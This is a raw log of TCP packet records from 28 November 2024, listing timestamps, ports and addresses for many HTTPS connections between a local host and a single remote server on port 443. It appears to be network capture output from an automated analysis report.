Nov 28, 2024 10:04:51.880894899 CET	49760	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:51.880930901 CET	443	49760	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:51.880995989 CET	49760	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:51.881156921 CET	49760	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:51.881170034 CET	443	49760	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:51.903208017 CET	443	49753	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:51.903264999 CET	443	49753	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:51.903326988 CET	49753	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:51.903486013 CET	49753	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:51.903498888 CET	443	49753	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:51.903508902 CET	49753	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:51.903512955 CET	443	49753	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:51.905714989 CET	49761	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:51.905761957 CET	443	49761	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:51.905822039 CET	49761	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:51.905971050 CET	49761	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:51.905982971 CET	443	49761	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:52.127917051 CET	443	49755	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:52.129039049 CET	49755	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:52.129048109 CET	443	49755	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:52.130760908 CET	49755	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:52.130764961 CET	443	49755	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:52.299886942 CET	443	49756	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:52.301090956 CET	49756	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:52.301153898 CET	443	49756	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:52.301527977 CET	49756	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:52.301543951 CET	443	49756	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:52.563994884 CET	443	49755	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:52.564064980 CET	443	49755	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:52.564135075 CET	49755	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:52.743748903 CET	443	49756	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:52.743817091 CET	443	49756	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:52.743896961 CET	49756	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:53.265489101 CET	49755	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:53.265520096 CET	443	49755	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:53.265554905 CET	49755	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:53.265561104 CET	443	49755	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:53.278840065 CET	49756	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:53.278920889 CET	443	49756	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:53.278964996 CET	49756	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:53.278980970 CET	443	49756	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:53.293255091 CET	49762	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:53.293288946 CET	443	49762	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:53.293375015 CET	49762	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:53.296467066 CET	49762	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:53.296480894 CET	443	49762	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:53.298635960 CET	49763	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:53.298696041 CET	443	49763	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:53.298753977 CET	49763	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:53.299145937 CET	49763	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:53.299159050 CET	443	49763	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:53.323550940 CET	443	49759	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:53.324182034 CET	49759	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:53.324210882 CET	443	49759	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:53.325694084 CET	49759	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:53.325700998 CET	443	49759	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:53.606803894 CET	443	49760	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:53.611731052 CET	49760	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:53.611746073 CET	443	49760	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:53.612446070 CET	49760	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:53.612449884 CET	443	49760	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:53.758924007 CET	443	49759	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:53.759012938 CET	443	49759	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:53.759062052 CET	49759	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:53.759403944 CET	49759	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:53.759423971 CET	443	49759	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:53.759442091 CET	49759	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:53.759447098 CET	443	49759	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:53.763911009 CET	49764	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:53.763945103 CET	443	49764	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:53.764014006 CET	49764	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:53.764389038 CET	49764	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:53.764409065 CET	443	49764	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:53.772870064 CET	443	49761	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:53.773483038 CET	49761	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:53.773503065 CET	443	49761	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:53.774111986 CET	49761	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:53.774118900 CET	443	49761	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:54.041724920 CET	443	49760	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:54.041781902 CET	443	49760	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:54.041836023 CET	49760	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:54.042016029 CET	49760	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:54.042028904 CET	443	49760	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:54.042038918 CET	49760	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:54.042042971 CET	443	49760	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:54.045064926 CET	49765	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:54.045103073 CET	443	49765	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:54.045193911 CET	49765	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:54.045317888 CET	49765	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:54.045331955 CET	443	49765	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:54.227693081 CET	443	49761	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:54.227745056 CET	443	49761	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:54.227817059 CET	49761	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:54.228019953 CET	49761	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:54.228041887 CET	443	49761	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:54.228050947 CET	49761	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:54.228056908 CET	443	49761	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:54.230550051 CET	49766	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:54.230566025 CET	443	49766	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:54.230633974 CET	49766	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:54.230772972 CET	49766	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:54.230783939 CET	443	49766	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:55.017155886 CET	443	49763	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:55.021094084 CET	49763	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:55.021120071 CET	443	49763	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:55.021572113 CET	49763	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:55.021576881 CET	443	49763	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:55.142481089 CET	443	49762	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:55.145042896 CET	49762	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:55.145075083 CET	443	49762	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:55.145522118 CET	49762	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:55.145526886 CET	443	49762	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:55.452488899 CET	443	49763	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:55.452555895 CET	443	49763	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:55.452605963 CET	49763	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:55.546185970 CET	443	49764	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:55.596484900 CET	443	49762	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:55.596544027 CET	443	49762	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:55.596601009 CET	49762	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:55.601515055 CET	49764	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:55.827857018 CET	443	49765	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:55.882817984 CET	49765	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.018234968 CET	443	49766	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.070277929 CET	49766	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.159390926 CET	49766	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.159408092 CET	443	49766	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.160326004 CET	49766	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.160330057 CET	443	49766	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.160851955 CET	49765	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.160875082 CET	443	49765	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.161472082 CET	49765	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.161487103 CET	443	49765	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.161916018 CET	49763	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.161952019 CET	443	49763	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.161962986 CET	49763	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.161973953 CET	443	49763	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.163471937 CET	49764	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.163481951 CET	443	49764	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.163986921 CET	49764	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.163990974 CET	443	49764	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.164891005 CET	49762	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.164920092 CET	443	49762	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.164932966 CET	49762	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.164938927 CET	443	49762	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.173969030 CET	49767	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.174006939 CET	443	49767	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.174076080 CET	49767	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.174221039 CET	49767	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.174235106 CET	443	49767	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.176279068 CET	49768	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.176311970 CET	443	49768	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.176374912 CET	49768	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.177371025 CET	49768	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.177381992 CET	443	49768	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.485316992 CET	443	49766	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.485378981 CET	443	49766	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.485430956 CET	49766	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.485804081 CET	49766	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.485825062 CET	443	49766	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.485836029 CET	49766	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.485840082 CET	443	49766	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.487448931 CET	443	49765	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.487517118 CET	443	49765	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.487585068 CET	49765	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.488257885 CET	49765	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.488284111 CET	443	49765	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.488332987 CET	49765	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.488339901 CET	443	49765	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.489387989 CET	443	49764	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.489479065 CET	443	49764	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.489532948 CET	49764	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.490286112 CET	49764	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.490291119 CET	443	49764	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.490305901 CET	49764	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.490309000 CET	443	49764	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.496464968 CET	49769	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.496510029 CET	443	49769	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.496567011 CET	49769	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.497723103 CET	49770	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.497770071 CET	443	49770	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.497823954 CET	49770	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.497967005 CET	49769	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.497980118 CET	443	49769	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.498878956 CET	49771	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.498887062 CET	443	49771	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.498941898 CET	49771	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.499130011 CET	49771	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.499142885 CET	443	49771	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:56.499232054 CET	49770	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:56.499249935 CET	443	49770	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:57.899822950 CET	443	49767	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:57.899954081 CET	443	49768	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:57.900307894 CET	49767	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:57.900331020 CET	443	49767	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:57.902066946 CET	49767	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:57.902072906 CET	443	49767	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:57.902365923 CET	49768	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:57.902400017 CET	443	49768	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:57.903739929 CET	49768	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:57.903747082 CET	443	49768	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.280215979 CET	443	49770	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.283206940 CET	443	49771	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.283209085 CET	443	49769	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.314985991 CET	49770	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:58.315009117 CET	443	49770	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.315423965 CET	49770	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:58.315431118 CET	443	49770	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.315615892 CET	49771	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:58.315630913 CET	443	49771	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.315946102 CET	49771	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:58.315952063 CET	443	49771	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.316108942 CET	49769	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:58.316114902 CET	443	49769	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.316459894 CET	49769	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:58.316462994 CET	443	49769	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.334849119 CET	443	49768	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.334917068 CET	443	49768	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.334964037 CET	49768	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:58.340678930 CET	443	49767	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.340758085 CET	443	49767	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.340816975 CET	49767	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:58.405936003 CET	49768	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:58.405960083 CET	443	49768	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.725745916 CET	443	49770	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.725831985 CET	443	49770	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.725919962 CET	49770	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:58.727387905 CET	443	49769	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.727462053 CET	443	49769	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.727510929 CET	49769	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:58.727690935 CET	443	49771	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.727768898 CET	443	49771	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.727801085 CET	49771	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:58.982992887 CET	49771	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:58.983016968 CET	443	49771	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.983027935 CET	49771	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:58.983032942 CET	443	49771	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.983144045 CET	49767	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:58.983144045 CET	49767	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:58.983176947 CET	443	49767	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.983186960 CET	443	49767	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.984138966 CET	49769	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:58.984143019 CET	443	49769	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.994151115 CET	49770	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:58.994173050 CET	443	49770	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:58.994193077 CET	49770	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:58.994199038 CET	443	49770	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:59.015486002 CET	49772	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:59.015594006 CET	443	49772	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:59.015687943 CET	49772	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:59.017291069 CET	49772	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:59.017332077 CET	443	49772	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:59.022186041 CET	49773	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:59.022258997 CET	443	49773	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:59.022317886 CET	49773	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:59.022500992 CET	49773	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:59.022524118 CET	443	49773	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:59.027652025 CET	49774	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:59.027726889 CET	443	49774	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:59.027792931 CET	49774	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:59.029125929 CET	49775	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:59.029150009 CET	443	49775	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:59.029203892 CET	49775	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:59.030752897 CET	49774	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:59.030806065 CET	443	49774	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:59.031086922 CET	49775	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:59.031102896 CET	443	49775	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:59.036375046 CET	49776	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:59.036418915 CET	443	49776	13.107.246.63	192.168.2.7
Nov 28, 2024 10:04:59.036489964 CET	49776	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:59.037092924 CET	49776	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:04:59.037107944 CET	443	49776	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:00.829106092 CET	443	49776	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:00.829677105 CET	49776	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:00.829700947 CET	443	49776	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:00.830164909 CET	49776	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:00.830169916 CET	443	49776	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:00.880491972 CET	443	49772	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:00.881016016 CET	49772	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:00.881078005 CET	443	49772	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:00.881834030 CET	49772	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:00.881850958 CET	443	49772	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:00.953435898 CET	443	49774	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:00.954139948 CET	49774	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:00.954152107 CET	443	49774	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:00.954627991 CET	49774	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:00.954633951 CET	443	49774	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:00.955817938 CET	443	49775	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:00.956149101 CET	49775	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:00.956185102 CET	443	49775	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:00.956537962 CET	49775	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:00.956543922 CET	443	49775	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:01.265472889 CET	443	49776	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:01.265587091 CET	443	49776	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:01.265646935 CET	49776	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:01.328253984 CET	443	49772	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:01.328311920 CET	443	49772	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:01.328382015 CET	49772	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:01.330616951 CET	49776	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:01.330638885 CET	443	49776	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:01.330650091 CET	49776	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:01.330655098 CET	443	49776	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:01.407680035 CET	443	49774	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:01.407737970 CET	443	49774	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:01.407833099 CET	49774	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:01.409262896 CET	443	49775	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:01.409357071 CET	443	49775	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:01.410698891 CET	49775	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:01.415401936 CET	49772	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:01.415445089 CET	443	49772	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:01.415478945 CET	49772	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:01.415497065 CET	443	49772	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:01.416445971 CET	49775	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:01.416469097 CET	443	49775	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:01.416485071 CET	49775	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:01.416490078 CET	443	49775	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:01.421294928 CET	49774	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:01.421309948 CET	443	49774	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:01.421382904 CET	49774	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:01.421394110 CET	443	49774	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:01.846298933 CET	49777	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:01.846338987 CET	443	49777	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:01.846618891 CET	49777	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:01.861696005 CET	49778	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:01.861726999 CET	443	49778	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:01.862108946 CET	49778	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:01.912657976 CET	49777	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:01.912674904 CET	443	49777	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:01.913064957 CET	49779	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:01.913075924 CET	443	49779	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:01.913146973 CET	49779	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:01.914331913 CET	49779	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:01.914344072 CET	443	49779	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:01.921046019 CET	49778	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:01.921066046 CET	443	49778	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:01.926135063 CET	49780	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:01.926197052 CET	443	49780	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:01.926249981 CET	49780	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:01.926390886 CET	49780	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:01.926407099 CET	443	49780	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:03.017771006 CET	443	49773	13.107.246.63	192.168.2.7
